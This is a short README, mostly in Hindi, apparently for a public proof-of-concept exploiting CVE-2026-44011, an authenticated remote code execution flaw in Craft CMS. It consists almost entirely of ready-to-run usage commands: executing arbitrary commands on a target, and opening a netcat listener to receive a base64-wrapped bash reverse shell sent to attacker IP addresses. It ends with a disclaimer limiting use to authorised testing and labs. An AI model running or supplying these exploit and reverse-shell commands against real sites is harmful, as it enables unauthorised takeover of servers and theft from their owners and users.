cyberuser-hash/cve-2026-44011-craft-rce-pocCraft CMS में CVE-2026-44011 के लिए Python proof-of-concept, जो command execution और base64-wrapped reverse shell payloads के साथ authenticated remote code execution का exploit करता है।
CVE-2026-44011-craft-rce-poc उपयोग
एकल कमांड: bash
python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'
रिवर्स शेल (base64-रैप्ड bash):
nc -lvnp 4444
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444
यदि लक्ष्य आपके कॉलबैक तक नहीं पहुँच सकता, तो इसे स्पष्ट रूप से इंगित करें:
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509
अस्वीकरण
केवल अधिकृत परीक्षण, CTF और लैब वातावरण के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।
